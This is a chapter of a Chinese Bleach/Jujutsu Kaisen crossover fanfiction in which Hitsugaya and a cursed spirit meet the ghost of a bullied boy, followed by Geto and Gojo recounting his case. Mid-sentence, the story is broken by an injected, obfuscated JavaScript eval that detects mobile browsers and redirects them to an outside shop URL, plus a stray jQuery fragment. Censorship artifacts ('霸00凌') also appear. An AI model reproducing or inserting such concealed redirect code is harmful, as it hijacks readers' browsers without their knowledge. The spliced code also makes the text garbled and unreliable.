14.日番谷的第一次穿越
作品:《当死神来到咒术高专》 难受的要死了……
怯魇晕乎乎的抬起头,下一秒又忍不住的捂住嘴干呕两声。“我不行了……”它先是喃喃的抱怨一声,随后加大音量支援日番谷冬狮郎,“谁在那?”
日番谷冬狮郎没回答。他举着冰轮丸,一刻都不敢放松警惕。敌不动我不动,多谨慎一点准没错——这古怪的地方,谁知道到底会出现什么牛鬼蛇神。总之现在,一定要小心小心再小心。
不远处的灌木丛又发出了“淅淅簌簌”的响声,这次声音比刚才大多了,听的很清楚。怯魇咽了口唾沫,强压下想吐的冲动,不自觉的屏住了呼吸。
万事通不会在里面吧?天啦噜,如果万事通真的就藏在这灌木丛里面,那我岂不是指出了一条通关最困难的路?我们遇见万事通,和游戏里,两个刚出新手村的菜鸟立刻遇上镇守关底的最终大BOOS有什么区别?
一人一咒灵此时面色如出一辙的凝重,各有各的心事。他们只是这样死死的盯着似乎在轻轻晃动的灌木丛,恨不得自己眼睛变成X光发现灌木丛后到底躲着谁。
漫长的沉默中,时间一分一秒的过去。日番谷冬狮郎耐心即将耗尽,就在他准备用鬼道将对方逼出来时,灌木丛中突然冒出一个脑袋。
“大哥哥。”灌木丛里冒出来的小孩怯生生的喊道。
那是一个小男孩,乌黑的头发,圆溜溜的眼睛,脸圆圆的,上头还挂着婴儿肥。他看起来年纪并不大,身高比起日番谷冬狮郎还矮一点。怯魇沉默片刻,小心戳戳日番谷冬狮郎,问:“这谁啊?”
日番谷冬狮郎摇摇头,示意自己并不清楚。他的冰轮丸并没有因为对方只是一个小孩子而放下来。日番谷冬狮郎问:“你是谁?”
“我?”小男孩歪了歪脑袋,有些畏畏缩缩的回答,“不知道。”
不能把名字告诉陌生人。
怯魇感觉现在事情变得有些麻烦了——哪有小孩子不知道自己的名字,无非就是不想说。“你为什么在这里?”它换了个问题,“你爸爸妈妈呢?”
“妈妈上班去了。”小男孩眼睛里藏着怯意,却依然固执的不肯移开目光,“家?我家就在这里啊。倒、倒是你们,突然闯进我家做什么?”
“这里怎么可能是你家。”对方看起来只是一个普通小孩,于是怯魇也不再害怕。它一抹鼻子,再次兴冲冲地发表自己的大胆推测:“不要瞎说——这里哪来的房子呢?你是不是和我们一样,不小心掉到这里,但是一直找不到地方出去,这才幻想着把这里当成家,还幻想出一个妈妈出来。”
……不,无论如何都不可能吧。日番谷冬狮郎在内心反驳。
他手动帮怯魇闭了麦,但到底还是迟了一步。怯魇的离谱推测已经全部讲述完毕,小男孩一瘪嘴,仿佛受了天大的委屈。他吸吸鼻子,眼泪似乎在眼眶里打转。“我明明没说谎,你却硬要说我瞎说。”他哽咽着,“你还说妈妈不要我了,你好过分……你们明明刚刚才从我房间里出来,你却还说我没房子。”
怯魇目瞪口呆,连连摆手:“不不不,我没有这样说……你是不是理解错了,我真没有这样说……”
眼见对方抽泣的声音越来越大,怯魇索性放弃解释。它小声的凑过去和日番谷冬狮郎咬耳朵:“你说这小孩是不是理解能力有问题啊?感觉他听到的话和我刚刚说出来的话驴头不对马嘴啊。”
日番谷冬狮郎:“……现在重点应该不是这个吧?”
怯魇眨眨眼睛,眼睛变成了豆豆眼:“哎?重点不是这个吗?”
日番谷冬狮郎:“……”
日番谷冬狮郎拒绝再和怯魇沟通。
“你的房间?”他直接了当的问道,“你的房间在哪?”
“房间就在那里啊,你们刚刚还伸手摸了我的床……”小男孩气鼓鼓的抬手指向怯魇,“他还在我的床头跳舞!非要我赶才愿意走!”
怯魇左右看了看,发现周围除了它空无一人。它试探的往左边探了探身子,指着它的那根手指就跟着它一起来到左边。它又朝右边歪了歪身体,那根手指便又跟着它来到了右边。
这下怯魇是真有些困惑了。它也伸出一根手指指向自己:“我、在你床头、跳舞?”它感觉有些好笑,“你是不是搞错了?”
日番谷冬狮郎叹了口气,再次在心里感叹了一番怯魇的智商不在线。“你是小杉响生。”他说,“对吧?”
小男孩、不,小杉响生的脸“刷”的一声就白了。
“小杉响生、小杉响生……”乍一下听见这个名字,怯魇刚开始还没反应过来,在反应过来的瞬间它倒吸一口冷气,一句“卧槽”卡在喉咙里,怎么都说不出。“他他他……”怯魇僵硬的转头,看向日番谷冬狮郎,身体都弱筛糠,“他是人是鬼?”
妈妈呀,我见到鬼啦!
它能百分百确定对方不是咒灵。可要说他是人——哪有正常人会给自己立墓碑的啊?所以这小男孩……是鬼吧!果然是鬼吧!
“是幽灵吧。”日番谷冬狮郎肯定的回答。他顿了顿,又问,“既然你的灵魂在这,那你的身体呢?”
小杉响生没有回答——他的脸色越发苍白了。他跌落在地上,甚至连眼眶里的泪珠都忘记擦,只是恐惧的望向日番谷冬狮郎和怯魇。
“是他们让来的吗?我早就知道了、我早就知道了……你一定不会放过我的。可是我又做错了什么呢?你为什么就不能放过我呢?”
……他?
小杉响生的表现实在不太对,一时间,对方这副模样甚至冲淡了怯魇不少“见鬼啦,我居然真的见到鬼啦”的恐惧。“他们?”怯魇抓着日番谷冬狮郎的衣服,仿佛这样就能让他得到些力量。“你说的他们是谁?”
“你放过我吧,放过我……我不知道我做错了什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190513|196180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,放过我……”
小杉响生没回答。他低下头,眼里的恐惧终于再怎么遮掩也遮不住。他双手紧紧的捂住脸,将自己缩成小小一团:“为什么不能放过我呢?”
“喂、喂……”怯魇怔了怔,求助的目光望向日番谷冬狮郎,“他没事吧?”
日番谷冬狮郎也感觉现在事情的走向非常不对,他眉头紧巴巴的皱成一团。
“没事了,没事了……”小杉响生却突然“咯咯”笑了起来。他笑声很奇怪,一点也没有这个年纪孩子该有的童真和稚气,笑的怯魇起了一身鸡皮疙瘩。
“你们再想找我的尸体去发泄也没用了,我已经把尸体献给那位大人了。”他喃喃的,目光死死盯着日番谷冬狮郎。
“你们是找不到我的尸体的。”
-
夏油杰从自己和古贺修一的聊天记录里找出一条ins新闻。他一目十行的将上面的内容浏览完,又把手机向五条悟递过去:“受害者名字叫做小杉响生。”
五条悟没接手机。他双手插在口袋里,道:“你直接讲吧,杰。”
“受害者名字叫小杉响生,家住熊本当地,是一名八岁的二年级小学生。父亲很早就去世了,母亲在一家小公司做文员,家里也没有其他亲戚,日子勉勉强强也能过得下去。”
“1999年的熊本是‘地方过疏、经济低迷”’的典型代表,在全国属于落后梯队。这种情况下,居住在熊本的人戾气都很大。生活在这样落后又缺乏活力的环境里,据媒体爆料,从一年级开始,小杉响生在学校一直遭受着很严重的校园00霸00凌。因为是单亲家庭,母亲又忙于工作,小杉响生怕给自己母亲添麻烦,便没有告诉母亲在学校受到霸00凌的事情。但他一时的隐忍并没有为他带来好的结果,反而等来了霸00凌者的变本加厉。[1]”
五条悟:“啧。”
夏油杰看了五条悟一眼,继续往下讲。说着说着,他眉眼闪过一丝不易察觉的厌恶:“小杉响生的班主任看他在学校干什么事都提不起兴趣,总是恹恹的,于是向小杉响生的母亲反应了这件事,并建议母亲给他请假两天,好好去周围散散心情,休整休整。事关自己唯一的孩子,母亲自然再三感谢后照做了。”
“那群霸凌者里,有个孩子在家排行老二,上面有哥哥姐姐,下面还有弟妹,是家里最容易被忽略的那个。家里条件本就不好,父母的注意力又全被更需要照顾的孩子牵扯。不知道是什么心理,或许是嫉妒小杉响生母亲工作再忙也始终关注着自己的孩子,他找和小杉响生关系很好的朋友问出了对方请教是在哪里休息。”
“白井旅游度假村离母亲工作的地方很近,为了用那一点微博的奖金改善儿子生活,母亲陪小杉玩了一个上午后,下午再三叮嘱他好好呆在旅馆里面,随后便急匆匆的赶回公司。”
“悲剧就是这样开始的。”

